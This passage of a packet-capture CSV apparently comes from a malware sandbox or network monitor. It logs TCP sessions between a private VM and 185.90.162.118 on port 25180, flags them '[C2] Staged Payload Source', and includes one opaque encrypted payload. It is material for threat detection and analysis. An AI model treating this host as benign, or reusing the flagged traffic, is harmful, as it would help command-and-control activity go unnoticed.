\"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46862, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59819, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411405, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:28:33.941789,19,TCP 192.168.122.168:50181 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50181,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=1740357464 Ack=0,525400577f945254007bb7920800450000347a4e40008006e953c0a87aa8b95aa276c405625c67bbbf58000000008002faf097480000020405b40103030801010402,RT.W..RT.{....E..4zN@....S..z..Z.v..b\\g..X.........H..............,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 31310, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59731, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 25180, \"\"seq\"\": 1740357464, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 38728, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-26 16:28:33.941831,20,TCP 185.90.162.118:25180 -> 192.168.122.168:50181,185.90.162.118,192.168.122.168,25180,50181,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3595830527 Ack=1740357465,5254007bb792525400577f94080045000034000040004006a3a2b95aa276c0a87aa8625cc405d65404ff67bbbf598012a56497480000020405b40101040201030309,RT.{..RT.W....E..4..@.@....Z.v..z.b\\...T..g..Y...d.H.............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41890, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50181, \"\"seq\"\": 3595830527, \"\"ack\"\": 1740357465, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 38728, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-26 16:28:33.942031,21,TCP 192.168.122.168:50181 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50181,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=1740357465 Ack=3595830528,525400577f945254007bb7920800450000287a4f40008006e95ec0a87aa8b95aa276c405625c67bbbf59d654050050102014973c0000,RT.W..RT.{....E..(zO@....^..z..Z.v..b\\g..Y.T..P. ..<..,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31311, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59742, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 25180, \"\"seq\"\": 1740357465, \"\"ack\"\": 3595830528, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:28:34.206081,22,TCP 192.168.122.168:50181 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50181,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1740357465 Ack=3595830528,525400577f945254007bb79208004500002c7a5040008006e959c0a87aa8b95aa276c405625c67bbbf59d6540500501820149740000020010000, \u0001\u0000\u0000,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 31312, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 25180, \"\"seq\"\": 1740357465, \"\"ack\"\": 3595830528, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38720, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\" \\u0001\\u0000\\u0000\"\"}}]\"\n2026-04-26 16:28:34.206108,23,TCP 185.90.162.118:25180 -> 192.168.122.168:50181,185.90.162.118,192.168.122.168,25180,50181,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3595830528 Ack=1740357469,5254007bb792525400577f9408004500002831b74000400671f7b95aa276c0a87aa8625cc405d654050067bbbf5d50100053973c0000,RT.{..RT.W....E..(1.@.@.q..Z.v..z.b\\...T..g..]P..S.<..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12727, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 29175, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50181, \"\"seq\"\": 3595830528, \"\"ack\"\": 1740357469, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:28:34.206297,24,TCP 192.168.122.168:50181 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50181,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1740357469 Ack=3595830528,525400577f945254007bb7920800450001487a5140008006e83cc0a87aa8b95aa276c405625c67bbbf5dd654050050182014985c0000c199d0c2639297e2aab54011f662cb4ca2a400ace08a2bb2b9ad26bd024b22adf02bad4ab0cdbe8e40f0cc71040d2b33608fd26b0aa062391e54d1a2f036c06d83863353102f140d96d8d757c8141a052111dd3117afc34b411f4450a2775641a858a71cb3b2b209aa5e843156ef75071085e7bc8846c328b124b07ed542efa2fcefd287f3a6b590c579b04e416959b9cdcde5e778e9008d6c3b89b5df5891e33aa003b5f8e8d9f31f1e1dfcc2032a18d23e519ae257a22fe36c1b097d54757646963f4e0bd382da0855b4cbd8d543cc7d1a0fa242b7effe93aac66d3ac2ba170eca0a6103f3a13c5815bb829ed2075a51fb14205ceebb841f491ad30ed81cf655460a5db99677329ff5aa15303cd8196d89a52835ff5debafb7055de2c1f003,\"....c.....@..b.L......+...&..K\"\"..+.J....@..q.\n+3`..k\n.b9.T...6.m..3S./.\n...W....!..1...KA.DP.wVA.X.....\t.^.1V.u......F.(.$.~.B...........y.NAiY.....x...l;...X..:.............*..>Q..W./.l.\t}TuvF.?N.....U....C.}...B......m:.....\na...<X......ZQ.. \\....I......UF\n]..w2....0<..m..(5.]....]....\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 328, \"\"id\"\": 31313, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59452, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 25180, \"\"seq\"\": 1740357469, \"\"ack\"\": 3595830528, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 39004, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"c199d0c2639297e2aab54011f662cb4ca2a400ace08a2bb2b9ad26bd024b22adf02bad4ab0cdbe8e40f0cc71040d2b33608fd26b0aa062391e54d1a2f036c06d83863353102f140d96d8d757c8141a052111dd3117afc34b411f4450a2775641a858a71cb3b2b209aa5e843156ef75071085e7bc8846c328b124b07ed542efa2fcefd287f3a6b590c579b04e416959b9cdcde5e778e9008d6c3b89b5df5891e33aa003b5f8e8d9f31f1e1dfcc2032a18d23e519ae257a22fe36c1b097d54757646963f4e0bd382da0855b4cbd8d543cc7d1a0fa242b7effe93aac66d3ac2ba170eca0a6103f3a13c5815bb829ed2075a51fb14205ceebb841f491ad30ed81cf655460a5db99677329ff5aa15303cd8196d89a52835ff5debafb7055de2c1f003\"\"}}]\"\n2026-04-26 16:28:34.206309,25,TCP 185.90.162.118:25180 -> 192.168.122.168:50181,185.90.162.118,192.168.122.168,25180,50181,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3595830528 Ack=1740357757,5254007bb792525400577f9408004500002831b84000400671f6b95aa276c0a87aa8625cc405d654050067bbc07d50100053973c0000,RT.{..RT.W....E..(1.@.@.q..Z.v..z.b\\...T..g..}P..S.<..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12728, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 29174, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50181, \"\"seq\"\": 3595830528, \"\"ack\"\": 1740357757, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:00.358617,26,TCP 185.90.162.118:25180 -> 192.168.122.168:50181,185.90.162.118,192.168.122.168,25180,50181,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3595830528 Ack=1740357757,5254007bb792525400577f9408004500002831b94000400671f5b95aa276c0a87aa8625cc405d654050067bbc07d50110053973c0000,RT.{..RT.W....E..(1.@.@.q..Z.v..z.b\\...T..g..}P..S.<..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12729, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 29173, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50181, \"\"seq\"\": 3595830528, \"\"ack\"\": 1740357757, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:00.358774,27,TCP 192.168.122.168:50181 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50181,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=1740357757 Ack=3595830529,525400577f945254007bb7920800450000287a5240008006e95bc0a87aa8b95aa276c405625c67bbc07dd654050150102014973c0000,RT.W..RT.{....E..(zR@....[..z..Z.v..b\\g..}.T..P. ..<..,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31314, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59739, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 25180, \"\"seq\"\": 1740357757, \"\"ack\"\": 3595830529, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:00.377157,28,TCP 192.168.122.168:50181 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50181,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=1740357757 Ack=3595830529,525400577f945254007bb7920800450000287a5340008006e95ac0a87aa8b95aa276c405625c67bbc07dd654050150112014973c0000,RT.W..RT.{....E..(zS@....Z..z..Z.v..b\\g..}.T..P. ..<..,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31315, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59738, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 25180, \"\"seq\"\": 1740357757, \"\"ack\"\": 3595830529, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:00.377187,29,TCP 185.90.162.118:25180 -> 192.168.122.168:50181,185.90.162.118,192.168.122.168,25180,50181,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3595830529 Ack=1740357758,5254007bb792525400577f94080045000028000040004006a3aeb95aa276c0a87aa8625cc405d654050167bbc07e50100053ee6d0000,RT.{..RT.W....E..(..@.@....Z.v..z.b\\...T..g..~P..S.m..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41902, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50181, \"\"seq\"\": 3595830529, \"\"ack\"\": 1740357758, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 61037, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:00.378016,30,TCP 192.168.122.168:50200 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50200,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=4179116416 Ack=0,525400577f945254007bb7920800450000347a5440008006e94dc0a87aa8b95aa276c418625cf9184180000000008002faf097480000020405b40103030801010402,RT.W..RT.{....E..4zT@....M..z..Z.v..b\\..A..........H..............,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 31316, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59725, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50200, \"\"dport\"\": 25180, \"\"seq\"\": 4179116416, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 38728, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-26 16:29:00.378058,31,TCP 185.90.162.118:25180 -> 192.168.122.168:50200,185.90.162.118,192.168.122.168,25180,50200,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=106768471 Ack=4179116417,5254007bb792525400577f94080045000034000040004006a3a2b95aa276c0a87aa8625cc418065d2857f91841818012a56497480000020405b40101040201030309,RT.{..RT.W....E..4..@.@....Z.v..z.b\\...](W..A....d.H.............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41890, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50200, \"\"seq\"\": 106768471, \"\"ack\"\": 4179116417, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 38728, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-26 16:29:00.378181,32,TCP 192.168.122.168:50200 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50200,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4179116417 Ack=106768472,525400577f945254007bb7920800450000287a5540008006e958c0a87aa8b95aa276c418625cf9184181065d285850102014973c0000,RT.W..RT.{....E..(zU@....X..z..Z.v..b\\..A..](XP. ..<..,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31317, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50200, \"\"dport\"\": 25180, \"\"seq\"\": 4179116417, \"\"ack\"\": 106768472, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:00.378954,33,TCP 192.168.122.168:50200 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50200,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4179116417 Ack=106768472,525400577f945254007bb79208004500002c7a5640008006e953c0a87aa8b95aa276c418625cf9184181065d2858501820149740000050010000,P\u0001\u0000\u0000,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 31318, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59731, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50200, \"\"dport\"\": 25180, \"\"seq\"\": 4179116417, \"\"ack\"\": 106768472, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38720, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"P\\u0001\\u0000\\u0000\"\"}}]\"\n2026-04-26 16:29:00.378968,34,TCP 185.90.162.118:25180 -> 192.168.122.168:50200,185.90.162.118,192.168.122.168,25180,50200,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=106768472 Ack=4179116421,5254007bb792525400577f940800450000281a5c400040068952b95aa276c0a87aa8625cc418065d2858f918418550100053973c0000,RT.{..RT.W....E..(.\\@.@..R.Z.v..z.b\\...](X..A.P..S.<..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 6748, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35154, \"\"src\"\": 